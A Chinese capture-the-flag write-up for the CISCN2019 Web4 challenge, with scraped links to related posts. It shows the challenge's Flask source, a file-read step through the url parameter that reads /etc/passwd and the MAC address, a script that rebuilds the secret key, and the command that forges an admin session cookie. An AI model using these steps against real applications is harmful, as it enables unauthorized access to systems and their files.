解题思路

打开有一个链接,那先点击一下

发现url处,很像命令执行,试一试。发现无论是什么都是no response,又是各种尝试

发现直接传?url=/etc/passwwd可以爆出回显,难道不是命令执行,是代码执行

先尝试一下目录穿越,发现flag被禁了

又是一波各种尝试,最后发现app/appp.py处可以获得源码。

这里记一点:url/read?id=xxxx这种在url和参数中间又会有一段字符串的,可以考虑是写了路由,不是php后端,可能是python后端

这点非常重要,帮助我们判断后端语言进行下一步,源码的读取等多种操作

其实这里猜想了可能是flask,因为抓包看到了session,格式很像flask的格式

代码审计

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True @app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response' @app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied' if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

flag路由意思是只要伪造了session登陆即可获得flag内容,那么我们伪造session,首先要获取密钥,在代码中也有,我们先看看uuid.getnode()有什么用

意思就是获取mac地址

linux下mac地址的位置:/sys/class/net/eth0/address

读取获得mac地址

然后他采取的是伪随机数的方式,我们按他的同样使用,编写exp

exp

import random

mac="02:42:ae:00:4b:75 "
nmac=mac.replace(":", "")
random.seed(int(nmac,16))
key = str(random.random() * 233)
print(key)

这里又是几个坑点,一定要用python2环境执行,因为靶机使用的是python2环境,其会对后面的小数自动约分,所以需要使用python2执行的数字

然后我使用过几次flask-session-cookie-manager-master发现,解密与加密需要使用固定的格式不然会报错,以此为例:

解密出来的字符串不能直接更改值,需要改为键值的格式

"{'username':'fuck'}"

payload:python flask_session_cookie_manager3.py encode -s 63.5983416128 -t "{'username':'fuck'}"

使用此session在flag路由下访问即可获得flag

总结思路

  • 发现url格式采用了路由的访问形式确认是python后端
  • 查看session很像flask,基本确定是flask框架
  • 通过工具解密session伪造session登陆

知识点

  • flask
  • 伪造session

刷题[CISCN2019 华东南赛区]Web4的更多相关文章

  1. BUU-CTF[CISCN2019 华东南赛区]Web11

    BUU-CTF[CISCN2019 华东南赛区]Web11 页面最下端有提示Build with Smarty ! 确定页面使用的是Smarty模板引擎.输入{$smarty.version}就可以看 ...

  2. BUUCTF-[CISCN2019 华东南赛区]Web4

    BUUCTF-[CISCN2019 华东南赛区]Web4 看题 点击Read somethings,会跳转到 http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.n ...

  3. [CISCN2019 华东南赛区]Web11

    [CISCN2019 华东南赛区]Web11 写在前面 参考文章:Smarty SSTI 1.{php}{/php} Smarty已经废弃{php}标签,强烈建议不要使用.在Smarty 3.1,{p ...

  4. [BJDCTF2020]The mystery of ip|[CISCN2019 华东南赛区]Web11|SSTI注入

    记录一下BUUCTF中两个类似的SSTI注入关卡 [BJDCTF2020]The mystery of ip-1: 1.打开之后显示如下: 2.在hint.php中进行了相关提示,如下: 3.既然获取 ...

  5. 刷题[CISCN2019 总决赛 Day2 Web1]Easyweb

    解题思路 打开网页是这样一个登陆框,随机试了一下常见弱密钥,二次注入等.均是返回不同的猫咪图案 不同的id对应不同的猫咪图案.经测试,返回的id应该是无序,随机的.感觉这里有可能存在注入点,但是测试好 ...

  6. [CISCN2019 华东南赛区]Double Secret

    0x01 进入页面如下 提示我们寻找secret,再加上题目的提示,猜测这里有secret页面,我们尝试访问,结果如下 根据它这个话的意思,是让我们传参,然后它会给你加密,我们试一下 发现输入的1变成 ...

  7. 刷题[CISCN2019 华北赛区 Day2 Web1]Hack World

    解题思路 打开发现是很简单的页面,告诉了表名和列名,只需知道字段即可 尝试一下,输入1,2都有内容,后面无内容.输入1'让他报错,发现返回bool(false) 大概思路就是布尔型注入了,通过不断返回 ...

  8. 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1

    目录 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 解题过程 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 题目复现链接:https:/ ...

  9. 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System

    目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...

随机推荐

  1. Neurosurgeon: Collaborative Intelligence Between the Cloud and Mobile Edge

    郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! ASPLOS ’17, April 08-12, 2017, Xi’an, China Abstract 如今的智能个人助理,如Apple ...

  2. Shell编程—基础脚本

    1. 使用多个命令 如果要两个命令或者多个命令一起运行,可以把它们放在同一行中,彼此间用分号隔开. 2. 创建 shell 脚本文件 例如: #!/bin/bash # This script dis ...

  3. 区块链入门到实战(27)之以太坊(Ethereum) – 智能合约开发

    智能合约的优点 与传统合同相比,智能合约有一些显著优点: 不需要中间人 费用低 代码就是规则 区块链网络中有多个备份,不用担心丢失 避免人工错误 无需信任,就可履行协议 匿名履行协议 以太坊(Ethe ...

  4. Kubernetes入门(二)——Dashboard 安装

    Kubernetes集群搭建完成后,可以通过命令行方式可以了解集群资源的使用情况,但是这种方式比较笨拙且不直观,因此考虑给集群安装Dashboard,这样能更直观了解集群状态.本文Dashboard的 ...

  5. 2020.08.14小bug

    页面下面的滚动条怎么清除 css overflow-x: hidden;

  6. 8.深入k8s:资源控制Qos和eviction及其源码分析

    转载请声明出处哦~,本篇文章发布于luozhiyun的博客:https://www.luozhiyun.com,源码版本是1.19 又是一个周末,可以愉快的坐下来静静的品味一段源码,这一篇涉及到资源的 ...

  7. 模型层中QuerySet的学习

    创建对象 使用关键字参数实例化模型实例来创建一个对象,然后调用save()把它保存到数据库中 pub_obj = models.Publisher(title='奥利给出版社') pub_obj.sa ...

  8. 常用mac命令

    ~/.bash_profile 可以添加常用的一些命令别名alias unity="open -n /Applications/Unity/Unity.app"

  9. War3模型导出

    Wiki https://en.wikipedia.org/wiki/.MDX 教程 http://www.ou99.com/article-25996-1.html http://blog.csdn ...

  10. Vue 3.0 中令人激动的新功能:Composition API

    正如你所期望的那样,Vue 3带来了很多令人兴奋的新功能.值得庆幸的是,Vue团队主要是在当前API的基础上引入了一些补充和改进,而不是进行重大更改,所以已经了解Vue 2的人应该很快就会对新的语法感 ...